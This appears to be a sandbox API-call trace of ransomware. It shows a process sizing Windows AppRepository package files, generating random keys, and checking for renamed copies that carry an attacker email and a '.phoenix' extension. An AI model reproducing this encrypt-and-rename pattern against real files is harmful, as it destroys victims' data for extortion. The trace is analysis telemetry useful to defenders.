	[0262.537] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.skypeapp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.538] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.538] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.skypeapp_11.8.204.0_x64__kzf8qxf38zg5c\\activationstore.dat.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0262.538] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=0) returned 1
	[0262.538] CloseHandle (hObject=0x2f4) returned 1
	[0262.538] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.538] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\ActivationStore.dat.LOG2" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.skypeapp_11.8.204.0_x64__kzf8qxf38zg5c\\activationstore.dat.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0262.539] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=0) returned 1
	[0262.539] CloseHandle (hObject=0x2f4) returned 1
	[0262.539] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.539] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.skypeapp_11.8.204.0_x64__kzf8qxf38zg5c\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0262.539] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=5988) returned 1
	[0262.539] CloseHandle (hObject=0x2f4) returned 1
	[0262.539] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.skypeapp_11.8.204.0_x64__kzf8qxf38zg5c\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.539] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.skypeapp_11.8.204.0_x64__kzf8qxf38zg5c\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.539] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.skypeapp_11.8.204.0_x64__kzf8qxf38zg5c\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.540] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.540] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.storepurchaseapp_1.0.45.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0262.541] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=12288) returned 1
	[0262.541] CloseHandle (hObject=0x2f4) returned 1
	[0262.541] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.storepurchaseapp_1.0.45.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1")) returned 0x26
	[0262.541] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.storepurchaseapp_1.0.45.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.541] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.storepurchaseapp_1.0.45.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.541] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.541] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG2" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.storepurchaseapp_1.0.45.0_x64__8wekyb3d8bbwe\\activationstore.dat.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0262.542] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=0) returned 1
	[0262.542] CloseHandle (hObject=0x2f4) returned 1
	[0262.542] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.542] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.storepurchaseapp_1.0.45.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc
	[0262.544] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=3560) returned 1
	[0262.544] CloseHandle (hObject=0x2dc) returned 1
	[0262.544] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.storepurchaseapp_1.0.45.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.544] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.storepurchaseapp_1.0.45.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.544] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.storepurchaseapp_1.0.45.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.544] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.544] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.vclibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc
	[0262.545] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=1200) returned 1
	[0262.545] CloseHandle (hObject=0x2dc) returned 1
	[0262.545] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.vclibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.545] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.vclibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.545] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.vclibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.545] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.545] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.vclibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc
	[0262.546] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=1200) returned 1
	[0262.546] CloseHandle (hObject=0x2dc) returned 1
	[0262.546] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.vclibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.546] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.vclibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.546] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.vclibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.546] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.546] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc
	[0262.548] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=16384) returned 1
	[0262.548] CloseHandle (hObject=0x2dc) returned 1
	[0262.548] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1")) returned 0x26
	[0262.548] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.548] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.548] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.548] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG2" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\activationstore.dat.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc
	[0262.549] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=0) returned 1
	[0262.549] CloseHandle (hObject=0x2dc) returned 1
	[0262.549] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.549] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc
	[0262.550] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=5752) returned 1
	[0262.550] CloseHandle (hObject=0x2dc) returned 1
	[0262.550] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.550] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.550] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.551] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.551] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Apprep.ChxApp_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.apprep.chxapp_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc
	[0262.551] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=12288) returned 1
	[0262.552] CloseHandle (hObject=0x2dc) returned 1
	[0262.552] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Apprep.ChxApp_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.apprep.chxapp_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log1")) returned 0x26
	[0262.552] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Apprep.ChxApp_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG1.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.apprep.chxapp_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log1.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.552] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Apprep.ChxApp_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.apprep.chxapp_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.552] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.552] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Apprep.ChxApp_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG2" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.apprep.chxapp_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc
	[0262.552] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=0) returned 1
	[0262.552] CloseHandle (hObject=0x2dc) returned 1
	[0262.552] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.552] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Apprep.ChxApp_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.apprep.chxapp_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0262.569] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=2396) returned 1
	[0262.569] CloseHandle (hObject=0x2f4) returned 1
	[0262.575] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Apprep.ChxApp_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.apprep.chxapp_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.576] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Apprep.ChxApp_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.apprep.chxapp_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
